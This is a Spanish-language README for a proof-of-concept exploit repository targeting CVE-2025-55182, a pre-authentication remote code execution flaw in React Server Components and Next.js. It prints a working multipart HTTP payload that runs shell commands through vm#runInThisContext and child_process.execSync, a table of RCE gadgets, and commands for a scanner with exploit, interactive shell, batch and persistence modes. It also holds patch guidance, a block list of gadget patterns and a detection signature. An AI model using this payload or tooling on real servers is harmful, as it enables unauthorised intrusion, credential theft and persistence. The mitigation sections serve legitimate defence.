
Herramienta Unificada de Investigación de Seguridad
Investigación de Seguridad por schema.cx
"El control es una ilusión. Son los sistemas que construimos los que nos controlan—a menos que los entendamos primero."
ESTA HERRAMIENTA ES SOLO PARA PRUEBAS DE SEGURIDAD AUTORIZADAS
ALTO. LEE ESTO ANTES DE CONTINUAR.
Este repositorio contiene código de prueba de concepto para una vulnerabilidad de seguridad crítica. Al acceder, descargar o utilizar cualquier material de este repositorio, usted reconoce y acepta lo siguiente:
Autorización por Escrito Requerida: Debe tener permiso explícito y por escrito del propietario del sistema antes de realizar cualquier prueba de seguridad. Los acuerdos verbales son insuficientes.
Limitaciones de Alcance: Las pruebas deben limitarse a los sistemas explícitamente enumerados en su autorización. No se permite la "expansión del alcance".
Leyes Aplicables: El acceso no autorizado a sistemas informáticos viola:
LOS AUTORES Y COLABORADORES DE ESTE REPOSITORIO:
"La pregunta no es si podemos explotar la vulnerabilidad. Es si deberíamos hacerlo, y con qué propósito."
CVE-2025-55182 es una vulnerabilidad crítica de ejecución remota de código (RCE) pre-autenticación que afecta a React Server Components en aplicaciones React 19.x y Next.js 15.x-16.x.
Esta vulnerabilidad permite a cualquier atacante no autenticado con acceso de red a una aplicación vulnerable ejecutar comandos arbitrarios en el servidor. El ataque no requiere credenciales, ni interacción del usuario, y puede automatizarse por completo. La explotación exitosa conduce a:
| Métrica | Clasificación |
|---|---|
| Puntuación Base CVSS v3.1 | 10.0 CRÍTICO |
| Vector de Ataque | Red |
| Complejidad del Ataque | Baja |
| Privilegios Requeridos | Ninguno |
| Interacción del Usuario | Ninguna |
| Impacto (C/I/A) | Alto / Alto / Alto |
"Las personas confían en los sistemas porque no los entienden. Esa confianza es una vulnerabilidad."
La vulnerabilidad existe en la implementación del protocolo Flight de React dentro de la función requireModule. Esta función utiliza notación de corchetes para acceder a las exportaciones del módulo basándose en entradas controladas por el usuario, sin validar que la propiedad solicitada sea una propiedad propia del módulo.
Ubicación del Código Vulnerable:
react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
Function: requireModule (approximately line 2546-2558 in v19.0.0)
Patrón Vulnerable:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... async handling ...
return moduleExports[metadata[2]]; // ← VULNERABLE: No hasOwnProperty check
}
El ataque aprovecha el recorrido de la cadena de prototipos de JavaScript:
$ACTION_0:0 contiene JSON con propiedades id (formato módulo#exportación) y bound (argumentos) controladas por el atacanteconstructor o acceder a propiedades del prototipo, los atacantes pueden referenciar módulos integrados de Node.jsvm.runInThisContext, child_process.execSync o fs.readFileSync se ejecutan con argumentos proporcionados por el atacanteHTTP POST /formaction
↓
decodeAction(formData, serverManifest)
↓
loadServerReference(manifest, value.id, value.bound)
↓
resolveServerReference(config, id) // Parses "module#export" format
↓
requireModule(metadata)
↓
moduleExports[metadata[2]] // Prototype chain access → RCE
POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--
| Gadget | Módulo | Descripción | Impacto |
|---|---|---|---|
vm#runInThisContext | vm | Ejecutar JS en el contexto actual | RCE Directo |
vm#runInNewContext | vm | Ejecutar JS en sandbox (escapable) | RCE Directo |
child_process#execSync | child_process | Ejecutar comandos de shell | RCE Directo |
child_process#spawnSync | child_process | Generar procesos | RCE Directo |
fs#readFileSync | fs | Leer archivos arbitrarios | Exfiltración de Datos |
fs#writeFileSync | fs | Escribir archivos arbitrarios | Persistencia/Puerta Trasera |
module#_load | module | Cargar módulos JS (RCE en 2 pasos) | RCE Indirecto |
"Todo sistema tiene una puerta. La cuestión es si construiste la cerradura tú mismo—o la heredaste de alguien que nunca esperaba visitas."
| Producto | Versiones Vulnerables | Versiones Parcheadas |
|---|---|---|
| React | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1+, 19.1.2+, 19.2.1+ |
| Next.js | 15.x, 16.x (usando React vulnerable) | Versiones con React parcheado |
vm, child_process o fs deben estar en el bundle de webpack| Módulo | Probabilidad en el Bundle | Fuentes Comunes |
|---|---|---|
fs | Muy Alta | fs-extra, gray-matter, multer, sharp, chokidar |
child_process | Media-Alta | execa, shelljs, puppeteer, sharp, generadores de PDF |
vm | Baja-Media | ejs, pug, motores de plantillas |
module | Muy Baja | tsx, ts-node (generalmente solo CLI) |
Este repositorio incluye un escáner de seguridad integral basado en Python con múltiples modos de funcionamiento.
CVE-2025-55182-poc/
├── README.md # This file
├── scanner/
│ ├── __init__.py # Python package init
│ ├── scanner.py # Main unified scanner (6 modes)
│ ├── readme.md # Detailed scanner documentation
│ ├── requirements.txt # Python dependencies
│ └── docs/
│ ├── TECHNICAL-ANALYSIS.md # Deep dive into vulnerability
│ └── VULNERABLE-PACKAGES.md # Affected package versions
Instalación:
cd scanner
pip install -r requirements.txt
Escaneo de Vulnerabilidad:
# Check if target is vulnerable
python scanner.py scan https://target.com
Detección de Gadgets:
# Identify available RCE gadgets
python scanner.py exploit https://target.com --detect-gadgets
Ejecución de Comandos (con autorización):
# Execute command on vulnerable target
python scanner.py exploit https://target.com -c "whoami"
Pruebas por Lotes:
# Test multiple targets from file
python scanner.py batch -f targets.txt -o results.json
Escaneo Automatizado con Verificación:
# Comprehensive scan with exploit verification
python scanner.py auto -f targets.txt -o report.txt
Objetivo Vulnerable:
[+] VULNERABLE to CVE-2025-55182!
Framework: Next.js
Version: 15.1.0
Confidence: HIGH
Available Gadgets:
✓ vm#runInThisContext
✓ child_process#execSync
✓ fs#readFileSync
✓ fs#writeFileSync
Objetivo Parcheado:
[-] Not vulnerable or unable to determine
Framework detected: Next.js
Version: 15.2.0 (patched)
| Modo | Propósito |
|---|---|
scan | Detección de vulnerabilidades y fingerprinting |
exploit | Explotación controlada con gadgets específicos |
shell | Shell de comandos interactiva en objetivos vulnerables |
batch | Probar múltiples URLs con estadísticas |
auto | Escaneo automatizado multi-objetivo con verificación |
persist | Demostraciones de ataques de persistencia (claves SSH, credenciales) |
Para documentación completa, consulte scanner/readme.md.
"Una herramienta solo es tan peligrosa como la intención detrás de ella. En las manos adecuadas, un arma se convierte en un escudo."
/etc/passwd, claves SSH, credenciales de la nubeFiltración de Datos: El atacante lee archivos .env que contienen credenciales de bases de datos y exfiltra datos de clientes
Instalación de Criptominero: El atacante escribe un script de minería y añade una tarea cron para persistencia
Ataque a la Cadena de Suministro: El atacante modifica el código fuente en producción, sirviendo contenido malicioso a los usuarios
Movimiento Lateral: El servidor comprometido se utiliza para atacar bases de datos, APIs y servicios internos
Ransomware: El atacante cifra los archivos de la aplicación y exige un pago por las claves de descifrado
Actualizar React Inmediatamente
npm update react react-dom react-server-dom-webpack
Versiones objetivo: 19.0.1+, 19.1.2+ o 19.2.1+
Verificar la Aplicación del Parche
npm ls react
Asegúrese de que no queden versiones vulnerables en su árbol de dependencias
Bloquear solicitudes que contengan estos patrones:
# Request body patterns to block
#constructor
#__proto__
#prototype
vm#runInThisContext
vm#runInNewContext
child_process#execSync
child_process#execFileSync
child_process#spawnSync
module#_load
fs#readFileSync
fs#writeFileSync
Excluir paquetes peligrosos del bundling de webpack:
// next.config.js
module.exports = {
serverExternalPackages: [
'sharp',
'puppeteer',
'execa',
'shelljs',
'vm2'
]
}
Patrones de Registro a Monitorear:
$ACTION_REF_ o $ACTION_ID_ inusuales en los cuerpos de las solicitudes/api/* con datos de formulario multipart que contienen JSONconstructor, prototype o acceso inesperado a módulosFirmas de Detección de Intrusiones:
alert http any any -> $HOME_NET any (
msg:"CVE-2025-55182 Exploit Attempt";
content:"$ACTION_";
content:"#constructor"; distance:0;
sid:2025551820; rev:1;
)
npm audit, Snyk o herramientas similares"Parchear no se trata solo de arreglar lo que está roto. Se trata de cerrar las puertas que no sabías que estaban abiertas."
| Fecha | Evento |
|---|---|
| Descubrimiento | Información pendiente |
| Notificación al Proveedor | Información pendiente |
| Confirmación del Proveedor | Información pendiente |
| Desarrollo del Parche | Información pendiente |
| Lanzamiento del Parche | React 19.0.1, 19.1.2, 19.2.1 |
| Divulgación Pública | Información pendiente |
| Asignación de CVE | CVE-2025-55182 |
Esta divulgación sigue las Pautas de Divulgación de Vulnerabilidades de CERT/CC y los estándares ISO/IEC 29147:2018 para la divulgación coordinada de vulnerabilidades.
Esta prueba de concepto fue desarrollada por el equipo de investigación de seguridad de schema.cx.
Repositorio: https://github.com/ejpir/CVE-2025-55182-poc
Nos gustaría agradecer a:
Este proyecto se publica solo con fines educativos y de investigación de seguridad autorizada.
Al usar este software, usted acepta:
"No hackeamos para destruir. Hackeamos para entender. Y entender es el primer paso para construir algo mejor."
schema.cx — Investigación de Seguridad para un Mundo Digital Más Seguro